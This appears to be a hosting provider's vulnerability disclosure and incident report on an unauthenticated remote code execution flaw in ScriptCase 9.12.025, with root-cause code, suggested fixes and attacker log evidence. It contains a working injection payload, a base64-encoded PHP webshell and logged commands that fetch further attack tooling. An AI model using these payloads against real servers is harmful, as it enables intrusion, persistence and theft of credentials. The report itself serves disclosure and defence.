Security Vulnerability Report — ScriptCase Production Manager
Date: 23 May 2026
Affected Version: ScriptCase 9.12.025
Severity: Critical — Unauthenticated Remote Code Execution (RCE)
Reported by: dnhost.gr (hosting provider of affected installation)
Executive Summary
A critical unauthenticated Remote Code Execution vulnerability was discovered and actively exploited in ScriptCase 9.12.025. The vulnerability allows any unauthenticated attacker to execute arbitrary OS commands on the server by sending a crafted POST request to the production manager endpoint, without requiring any valid credentials.
The vulnerability was actively exploited in the wild starting 14 May 2026
Vulnerability Details
Root Cause
The vulnerability exists in the class nmPagePubDirectory located at:
/_lib/prod/lib/php/devel/class/page/nmPagePubDirectory.class.php
In the class constructor, the method doAjax() is called before CheckLogin():
function __construct()
{
$this->doAjax(); // ← Executes POST handler FIRST — no auth check
$this->SetBody('nmPage');
$this->SetMargin(10);
$this->SetPage('PubDirectory');
$this->CheckLogin(); // ← Authentication check happens AFTER — too late
$this->SetPageSubtitle('');
$this->getOSPath();
}
The doAjax() method processes the POST request, writes data to a PHP config file, and calls exit — meaning CheckLogin() is never reached:
function doAjax()
{
if (isset($_POST['ajax']) && $_POST['ajax'] == 'nm') {
switch ($_POST['nm_action']) {
case 'pub_dir_save':
if(!empty($_POST['data']) && is_array($_POST['data'])){
$response = $this->savePubDir($_POST['data']); // writes PHP file
}
break;
}
echo json_encode($response);
exit; // ← exits before CheckLogin() is ever called
}
}
Secondary Issue — No Input Sanitization
The savePubDir() method writes $_POST['data'] directly into a PHP file without any sanitization:
function savePubDir($arr_data = array())
{
$str_file = '<?php '."\r\n";
$str_file .= '$sc_arr_system_dir = array();'."\r\n";
foreach($arr_data as $key => $item) {
// $item written directly from POST data — no sanitization
}
file_put_contents($conf_file, $str_file); // writes attacker-controlled PHP
}
Third Issue — Config File is Web-Accessible
The resulting PHP config file is written to:
/_lib/conf/prod.pub.dir.php
This directory is accessible via HTTP, so the injected PHP code is directly executable via a GET request.
Attack Chain
Step 1: POST /_lib/prod/lib/php/devel/iface/pub_dir.php
Body: ajax=nm&nm_action=pub_dir_save&data[]=");system($_GET[0]);//
Step 2: ScriptCase writes the injected code to:
/_lib/conf/prod.pub.dir.php
Step 3: GET /_lib/conf/prod.pub.dir.php?0=whoami
→ Server executes arbitrary OS command
Proof of Exploitation (from Apache access logs)
First attack — 14 May 2026 03:10 (IP: 149.102.229.170)
POST /_lib/prod/lib/php/devel/iface/pub_dir.php HTTP/1.0 → 200
GET /_lib/conf/prod.pub.dir.php?0=whoami → 200 (11 bytes)
No login.php request precedes the POST — confirming unauthenticated access.
Second attacker — 17 May 2026 (IP: 193.32.127.241)
GET /_lib/conf/prod.pub.dir.php?0=pwd+%26%26+ls+%2Fhome → 200
GET /_lib/conf/prod.pub.dir.php?0=echo+test+>+proof.txt → 200
GET /_lib/conf/prod.pub.dir.php?0=rm+-f+proof.txt → 200
Third attacker — 18 May 2026 (IP: 109.243.64.191)
GET /_lib/conf/prod.pub.dir.php?0=php+-r+"file_put_contents('up.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzBdKTsgPz4='));"
Base64 decodes to: <?php system($_GET[0]); ?>
The attacker then deployed TinyFileManager for persistent file system access:
GET /up.php?0=curl -O https://raw.githubusercontent.com/prasathmani/tinyfilemanager/.../tinyfilemanager.php
Additional attackers confirmed in logs
| IP | Date | Activity |
|---|---|---|
| 149.102.229.170 | 14–15 May 2026 | Reconnaissance, proof-of-ownership writes |
| 193.32.127.241 | 17 May 2026 | Verification, file write/delete |
| 109.243.64.191 | 18 May 2026 | Persistent webshell + TinyFileManager deployment |
| 103.102.247.184 | 15 May 2026 | Reconnaissance |
| 149.102.229.169 | 22 May 2026 | Return visit, shell verification |
Suggested Fix
Move CheckLogin() before doAjax() in the constructor:
function __construct()
{
$this->CheckLogin(); // ← Authentication FIRST
$this->doAjax(); // ← Then handle POST
$this->SetBody('nmPage');
$this->SetMargin(10);
$this->SetPage('PubDirectory');
$this->SetPageSubtitle('');
$this->getOSPath();
}
Additionally:
- Sanitize
$_POST['data']before writing to PHP files insavePubDir() - Restrict web access to
/_lib/conf/via Apache/Nginx configuration - Restrict
/_lib/prod/to trusted IPs only
Files Involved
| File | Role |
|---|---|
/_lib/prod/lib/php/devel/iface/pub_dir.php |
Entry point — no auth check in include chain |
/_lib/prod/lib/php/devel/lib/php/base_ini.inc.php |
Included bootstrap — no authentication |
/_lib/prod/lib/php/devel/class/page/nmPagePubDirectory.class.php |
Vulnerable class — doAjax() before CheckLogin()
|
/_lib/conf/prod.pub.dir.php |
Output PHP file — web-accessible, contains injected code |
Impact
- Full unauthenticated Remote Code Execution as the Apache process user
-
Persistent backdoor installation (webshell at
/httpdocs/up.php, TinyFileManager) - Database credential exposure (MySQL credentials stored in encrypted session files, accessible after server compromise)
- Multiple attacker groups exploited the same vulnerability independently within days
Contact
This report was prepared by the infrastructure team at dnhost.gr following incident response on a hosted customer server. We are available to provide additional log evidence, the full session file content, or clarification on any of the above findings.
Please acknowledge receipt and advise on patch timeline.